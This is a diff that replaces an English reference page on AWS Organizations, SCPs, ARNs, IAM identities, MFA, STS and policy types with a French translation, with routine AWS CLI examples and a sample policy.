-  The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
-
-- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
-  - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
+Le compte de gestion a les **responsabilités d'un compte payeur** et est responsable du paiement de tous les frais accumulés par les comptes membres. Vous ne pouvez pas changer le compte de gestion d'une organisation.
 
+- Les **comptes membres** constituent tous les autres comptes d'une organisation. Un compte ne peut être membre que d'une seule organisation à la fois. Vous pouvez attacher une politique à un compte pour appliquer des contrôles uniquement à ce compte.
+- Les comptes membres **doivent utiliser une adresse email valide** et peuvent avoir un **nom**, en général, ils ne pourront pas gérer la facturation (mais ils pourraient y avoir accès).
 ```
 aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
 ```
+### **Unités d'Organisation**
 
-### **Organization Units**
-
-Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
-
+Les comptes peuvent être regroupés en **Unités d'Organisation (OU)**. De cette manière, vous pouvez créer des **politiques** pour l'Unité d'Organisation qui vont être **appliquées à tous les comptes enfants**. Notez qu'une OU peut avoir d'autres OUs comme enfants.
 ```bash
 # You can get the root id from aws organizations list-roots
 aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
 ```
-
 ### Service Control Policy (SCP)
 
-A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
+Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne donnent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**.
 
-This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
-The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
+C'est le SEUL moyen par lequel **même l'utilisateur root peut être arrêté** de faire quelque chose. Par exemple, cela pourrait être utilisé pour empêcher les utilisateurs de désactiver CloudTrail ou de supprimer des sauvegardes.\
+Le seul moyen de contourner cela est de compromettre également le **compte principal** qui configure les SCP (le compte principal ne peut pas être bloqué).
 
 > [!WARNING]
-> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
+> Notez que **les SCP ne restreignent que les principaux dans le compte**, donc d'autres comptes ne sont pas affectés. Cela signifie qu'avoir une SCP qui refuse `s3:GetObject` n'arrêtera pas les gens d'**accéder à un bucket S3 public** dans votre compte.
 
-SCP examples:
+Exemples de SCP :
 
-- Deny the root account entirely
-- Only allow specific regions
-- Only allow white-listed services
-- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
+- Refuser complètement le compte root
+- Autoriser uniquement des régions spécifiques
+- Autoriser uniquement des services sur liste blanche
+- Refuser que GuardDuty, CloudTrail et S3 Public Block Access soient désactivés
+- Refuser que les rôles de sécurité/réponse aux incidents soient supprimés ou modifiés.
+- Refuser que les sauvegardes soient supprimées.
+- Refuser de créer des utilisateurs IAM et des clés d'accès
 
-  being disabled
-
-- Deny security/incident response roles from being deleted or
-
-  modified.
-
-- Deny backups from being deleted.
-- Deny creating IAM users and access keys
-
-Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+Trouvez des **exemples JSON** dans [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
 
 ### ARN
 
-**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
-
+**Amazon Resource Name** est le **nom unique** que chaque ressource à l'intérieur d'AWS possède, il est composé comme ceci :
 ```
 arn:partition:service:region:account-id:resource-type/resource-id
 arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
 ```
+Notez qu'il y a 4 partitions dans AWS mais seulement 3 façons de les appeler :
 
-Note that there are 4 partitions in AWS but only 3 ways to call them:
+- AWS Standard : `aws`
+- AWS China : `aws-cn`
+- AWS US public Internet (GovCloud) : `aws-us-gov`
+- AWS Secret (US Classified) : `aws`
 
-- AWS Standard: `aws`
-- AWS China: `aws-cn`
-- AWS US public Internet (GovCloud): `aws-us-gov`
-- AWS Secret (US Classified): `aws`
+## IAM - Gestion des identités et des accès
 
-## IAM - Identity and Access Management
+IAM est le service qui vous permettra de gérer **l'authentification**, **l'autorisation** et **le contrôle d'accès** au sein de votre compte AWS.
 
-IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+- **Authentification** - Processus de définition d'une identité et de vérification de cette identité. Ce processus peut être subdivisé en : Identification et vérification.
+- **Autorisation** - Détermine ce qu'une identité peut accéder au sein d'un système une fois qu'elle a été authentifiée.
+- **Contrôle d'accès** - La méthode et le processus par lesquels l'accès est accordé à une ressource sécurisée.
 
-- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
-- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
-- **Access Control** - The method and process of how access is granted to a secure resource
+IAM peut être défini par sa capacité à gérer, contrôler et gouverner les mécanismes d'authentification, d'autorisation et de contrôle d'accès des identités à vos ressources au sein de votre compte AWS.
 
-IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+### [Utilisateur racine du compte AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
 
-### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
+Lorsque vous créez un compte Amazon Web Services (AWS) pour la première fois, vous commencez avec une identité de connexion unique qui a **un accès complet à tous** les services et ressources AWS dans le compte. C'est l'**utilisateur racine** du compte AWS et il est accessible en se connectant avec **l'adresse e-mail et le mot de passe que vous avez utilisés pour créer le compte**.
 
-When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
+Notez qu'un nouvel **utilisateur admin** aura **moins de permissions que l'utilisateur racine**.
 
-Note that a new **admin user** will have **less permissions that the root user**.
+D'un point de vue sécurité, il est recommandé de créer d'autres utilisateurs et d'éviter d'utiliser celui-ci.
 
-From a security point of view, it's recommended to create other users and avoid using this one.
+### [Utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
 
-### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
+Un _utilisateur_ IAM est une entité que vous créez dans AWS pour **représenter la personne ou l'application** qui l'utilise pour **interagir avec AWS**. Un utilisateur dans AWS se compose d'un nom et de références (mot de passe et jusqu'à deux clés d'accès).
 
-An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
+Lorsque vous créez un utilisateur IAM, vous lui accordez des **permissions** en le rendant **membre d'un groupe d'utilisateurs** qui a des politiques de permission appropriées attachées (recommandé), ou en **attachant directement des politiques** à l'utilisateur.
 
-When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
-
-Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console. Les jetons API des utilisateurs avec MFA activé ne sont pas protégés par MFA. Si vous souhaitez **restreindre l'accès des clés API d'un utilisateur en utilisant MFA**, vous devez indiquer dans la politique qu'en vue d'effectuer certaines actions, la MFA doit être présente (exemple [**ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
 
 #### CLI
 
-- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
-- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
+- **ID de clé d'accès** : 20 caractères alphanumériques majuscules aléatoires comme AKHDNAPO86BSHKDIRYT
+- **ID de clé d'accès secrète** : 40 caractères aléatoires en majuscules et minuscules : S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Il n'est pas possible de récupérer les ID de clé d'accès secrète perdus).
 
-Whenever you need to **change the Access Key** this is the process you should follow:\
-&#xNAN;_&#x43;reate a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+Chaque fois que vous devez **changer la clé d'accès**, voici le processus que vous devez suivre :\
+&#xNAN;_&#x43;réer une nouvelle clé d'accès -> Appliquer la nouvelle clé au système/application -> marquer l'original comme inactif -> Tester et vérifier que la nouvelle clé d'accès fonctionne -> Supprimer l'ancienne clé d'accès_
 
-### MFA - Multi Factor Authentication
+### MFA - Authentification Multi-Facteurs
 
-It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
-You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+Il est utilisé pour **créer un facteur supplémentaire pour l'authentification** en plus de vos méthodes existantes, telles que le mot de passe, créant ainsi un niveau d'authentification multi-facteurs.\
+Vous pouvez utiliser une **application virtuelle gratuite ou un appareil physique**. Vous pouvez utiliser des applications comme Google Authenticator gratuitement pour activer un MFA dans AWS.
 
-Policies with MFA conditions can be attached to the following:
+Les politiques avec des conditions MFA peuvent être attachées aux éléments suivants :
 
-- An IAM user or group
-- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
-- The trust policy of an IAM role that can be assumed by a user
-
-If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
-Note that **`AssumeRole` credentials don't contain this information**.
+- Un utilisateur ou un groupe IAM
+- Une ressource telle qu'un bucket Amazon S3, une file d'attente Amazon SQS ou un sujet Amazon SNS
+- La politique de confiance d'un rôle IAM qui peut être assumé par un utilisateur
 
+Si vous souhaitez **accéder via CLI** à une ressource qui **vérifie la MFA**, vous devez appeler **`GetSessionToken`**. Cela vous donnera un jeton avec des informations sur la MFA.\
+Notez que **les informations d'identification `AssumeRole` ne contiennent pas cette information**.
 ```bash
 aws sts get-session-token --serial-number <arn_device> --token-code <code>
 ```
+As [**indiqué ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), il existe de nombreux cas où **MFA ne peut pas être utilisé**.
 
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
+### [Groupes d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
 
-### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
+Un [groupe d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) est un moyen de **joindre des politiques à plusieurs utilisateurs** à la fois, ce qui peut faciliter la gestion des autorisations pour ces utilisateurs. **Les rôles et les groupes ne peuvent pas faire partie d'un groupe**.
 
-An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
+Vous pouvez attacher une **politique basée sur l'identité à un groupe d'utilisateurs** afin que tous les **utilisateurs** du groupe d'utilisateurs **reçoivent les autorisations de la politique**. Vous **ne pouvez pas** identifier un **groupe d'utilisateurs** comme un **`Principal`** dans une **politique** (comme une politique basée sur les ressources) car les groupes sont liés aux autorisations, pas à l'authentification, et les principaux sont des entités IAM authentifiées.
 
-You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
+Voici quelques caractéristiques importantes des groupes d'utilisateurs :
 
-Here are some important characteristics of user groups:
+- Un **groupe d'utilisateurs** peut **contenir plusieurs utilisateurs**, et un **utilisateur** peut **appartenir à plusieurs groupes**.
+- **Les groupes d'utilisateurs ne peuvent pas être imbriqués** ; ils ne peuvent contenir que des utilisateurs, pas d'autres groupes d'utilisateurs.
+- Il n'y a **pas de groupe d'utilisateurs par défaut qui inclut automatiquement tous les utilisateurs du compte AWS**. Si vous souhaitez avoir un groupe d'utilisateurs comme ça, vous devez le créer et assigner chaque nouvel utilisateur à celui-ci.
+- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes, et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [Quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
 
-- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
-- **User groups can't be nested**; they can contain only users, not other user groups.
-- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
-- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+### [Rôles IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
 
-### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
+Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
 
-An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
+Un rôle IAM se compose de **deux types de politiques** : Une **politique de confiance**, qui ne peut pas être vide, définissant **qui peut assumer** le rôle, et une **politique d'autorisation**, qui ne peut pas être vide, définissant **ce qu'il peut accéder**.
 
-An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
+#### Service de jetons de sécurité AWS (STS)
 
-#### AWS Security Token Service (STS)
+Le Service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
 
-AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
+### [Credentials temporaires dans IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
 
-### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
+**Les credentials temporaires sont principalement utilisés avec les rôles IAM**, mais il existe également d'autres utilisations. Vous pouvez demander des credentials temporaires qui ont un ensemble de permissions plus restreint que votre utilisateur IAM standard. Cela **empêche** que vous **effectuiez accidentellement des tâches qui ne sont pas autorisées** par les credentials plus restreints. Un avantage des credentials temporaires est qu'ils expirent automatiquement après une période déterminée. Vous avez le contrôle sur la durée pendant laquelle les credentials sont valides.
 
-**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
+### Politiques
 
-### Policies
+#### Permissions de politique
 
-#### Policy Permissions
+Sont utilisées pour attribuer des permissions. Il existe 2 types :
 
-Are used to assign permissions. There are 2 types:
-
-- AWS managed policies (preconfigured by AWS)
-- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
-
-By **default access** is **denied**, access will be granted if an explicit role has been specified.\
-If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
+- Politiques gérées par AWS (préconfigurées par AWS)
+- Politiques gérées par le client : Configurées par vous. Vous pouvez créer des politiques basées sur des politiques gérées par AWS (en modifiant l'une d'elles et en créant la vôtre), en utilisant le générateur de politiques (une vue GUI qui vous aide à accorder et refuser des permissions) ou en écrivant la vôtre.
 
+Par **défaut, l'accès** est **refusé**, l'accès sera accordé si un rôle explicite a été spécifié.\
+Si **un seul "Refuser" existe, il remplacera le "Autoriser"**, sauf pour les demandes qui utilisent les credentials de sécurité root du compte AWS (qui sont autorisées par défaut).
 ```javascript
 {
-    "Version": "2012-10-17",  //Version of the policy
-    "Statement": [  //Main element, there can be more than 1 entry in this array
-        {
-            "Sid": "Stmt32894y234276923" //Unique identifier (optional)
-            "Effect": "Allow", //Allow or deny
-            "Action": [  //Actions that will be allowed or denied
-                "ec2:AttachVolume",
-                "ec2:DetachVolume"
-            ],
-            "Resource": [ //Resource the action and effect will be applied to
-                "arn:aws:ec2:*:*:volume/*",
-                "arn:aws:ec2:*:*:instance/*"
-            ],
-            "Condition": { //Optional element that allow to control when the permission will be effective
-                "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
-            }
-        }
-    ]
+"Version": "2012-10-17",  //Version of the policy
+"Statement": [  //Main element, there can be more than 1 entry in this array
+{
+"Sid": "Stmt32894y234276923" //Unique identifier (optional)
+"Effect": "Allow", //Allow or deny
+"Action": [  //Actions that will be allowed or denied
+"ec2:AttachVolume",
+"ec2:DetachVolume"
+],
+"Resource": [ //Resource the action and effect will be applied to
+"arn:aws:ec2:*:*:volume/*",
+"arn:aws:ec2:*:*:instance/*"
+],
+"Condition": { //Optional element that allow to control when the permission will be effective
+"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+}
+}
+]
 }
 ```
+Les [champs globaux qui peuvent être utilisés pour des conditions dans n'importe quel service sont documentés ici](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+Les [champs spécifiques qui peuvent être utilisés pour des conditions par service sont documentés ici](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
 
-The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+#### Politiques en ligne
 
-#### Inline Policies
+Ce type de politiques est **directement attribué** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des politiques car d'autres peuvent les utiliser.\
+Les politiques en ligne sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique en ligne, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées à l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
 
-This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
-Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+#### Politiques de seau de ressources
 
-#### Resource Bucket Policies
+Ce sont des **politiques** qui peuvent être définies dans des **ressources**. **Toutes les ressources d'AWS ne les prennent pas en charge**.
 
-These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
+Si un principal n'a pas de refus explicite à leur égard, et qu'une politique de ressource leur accorde l'accès, alors ils sont autorisés.
 
-If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
+### Limites IAM
 
-### IAM Boundaries
+Les limites IAM peuvent être utilisées pour **limiter les autorisations auxquelles un utilisateur ou un rôle devrait avoir accès**. De cette façon, même si un ensemble différent d'autorisations est accordé à l'utilisateur par une **politique différente**, l'opération **échouera** s'il essaie de les utiliser.
 
-IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
+Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum d'autorisations que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des seaux S·, c'est le maximum qu'il peut faire.
 
-A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
+**Cela**, **les SCP** et **le respect du principe du moindre privilège** sont les moyens de contrôler que les utilisateurs n'ont pas plus d'autorisations que celles dont ils ont besoin.
 
-**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
+### Politiques de session
 
-### Session Policies
-
-A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
-
-This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
+Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas d'autorisations mais **les restreint à celles indiquées dans la politique** (les autorisations maximales étant celles que le rôle a).
 
+Ceci est utile pour des **mesures de sécurité** : Lorsqu'un administrateur va assumer un rôle très privilégié, il pourrait restreindre l'autorisation uniquement à celles indiquées dans la politique de session au cas où la session serait compromise.
 ```bash
 aws sts assume-role \
-    --role-arn <value> \
-    --role-session-name <value> \
-    [--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
-    [--policy <file://policy.json>]
+--role-arn <value> \
+--role-session-name <value> \
+[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
+[--policy <file://policy.json>]
 ```
+Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) par défaut (en utilisant une authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels la session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
 
-Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Par conséquent, si à un moment donné vous rencontrez l'erreur "... parce qu'aucune politique de session ne permet le ...", et que le rôle a accès pour effectuer l'action, c'est parce que **il y a une politique de session qui l'empêche**.
 
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
+### Fédération d'identité
 
-### Identity Federation
+La fédération d'identité **permet aux utilisateurs des fournisseurs d'identité qui sont externes** à AWS d'accéder aux ressources AWS de manière sécurisée sans avoir à fournir les identifiants d'utilisateur AWS d'un compte IAM valide.\
+Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de l'intérieur d'accéder à AWS.
 
-Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
-An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
+Pour configurer cette confiance, un **fournisseur d'identité IAM est généré (SAML ou OAuth)** qui **fera confiance** à la **autre plateforme**. Ensuite, au moins un **rôle IAM est attribué (faisant confiance) au fournisseur d'identité**. Si un utilisateur de la plateforme de confiance accède à AWS, il le fera en accédant au rôle mentionné.
 
-To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
-
-However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+Cependant, vous voudrez généralement donner un **rôle différent en fonction du groupe de l'utilisateur** dans la plateforme tierce. Ensuite, plusieurs **rôles IAM peuvent faire confiance** au fournisseur d'identité tiers et la plateforme tierce sera celle qui permettra aux utilisateurs d'assumer un rôle ou un autre.
 
 <figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
 
-### IAM Identity Center
+### Centre d'identité IAM
 
-AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
+AWS IAM Identity Center (successeur d'AWS Single Sign-On) étend les capacités de la gestion des identités et des accès AWS (IAM) pour fournir un **endroit central** qui regroupe **l'administration des utilisateurs et leur accès aux** comptes AWS et aux applications cloud.
 
-The login domain is going to be something like `<user_input>.awsapps.com`.
+Le domaine de connexion sera quelque chose comme `<user_input>.awsapps.com`.
 
-To login users, there are 3 identity sources that can be used:
+Pour connecter les utilisateurs, il y a 3 sources d'identité qui peuvent être utilisées :
 
-- Identity Center Directory: Regular AWS users
-- Active Directory: Supports different connectors
-- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- Répertoire du Centre d'identité : Utilisateurs AWS réguliers
+- Active Directory : Prend en charge différents connecteurs
+- Fournisseur d'identité externe : Tous les utilisateurs et groupes proviennent d'un fournisseur d'identité externe (IdP)
 
 <figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
 
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
+Dans le cas le plus simple du répertoire du Centre d'identité, le **Centre d'identité aura une liste d'utilisateurs et de groupes** et pourra **attribuer des politiques** à eux pour **n'importe lequel des comptes** de l'organisation.
 
-In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
+Pour donner accès à un utilisateur/groupe du Centre d'identité à un compte, un **fournisseur d'identité SAML faisant confiance au Centre d'identité sera créé**, et un **rôle faisant confiance au fournisseur d'identité avec les politiques indiquées sera créé** dans le compte de destination.
 
 #### AwsSSOInlinePolicy
 
-It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
+Il est possible de **donner des permissions via des politiques en ligne aux rôles créés via IAM Identity Center**. Les rôles créés dans les comptes étant donnés **des politiques en ligne dans AWS Identity Center** auront ces permissions dans une politique en ligne appelée **`AwsSSOInlinePolicy`**.
 
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
+Par conséquent, même si vous voyez 2 rôles avec une politique en ligne appelée **`AwsSSOInlinePolicy`**, cela **ne signifie pas qu'ils ont les mêmes permissions**.
 
-### Cross Account Trusts and Roles
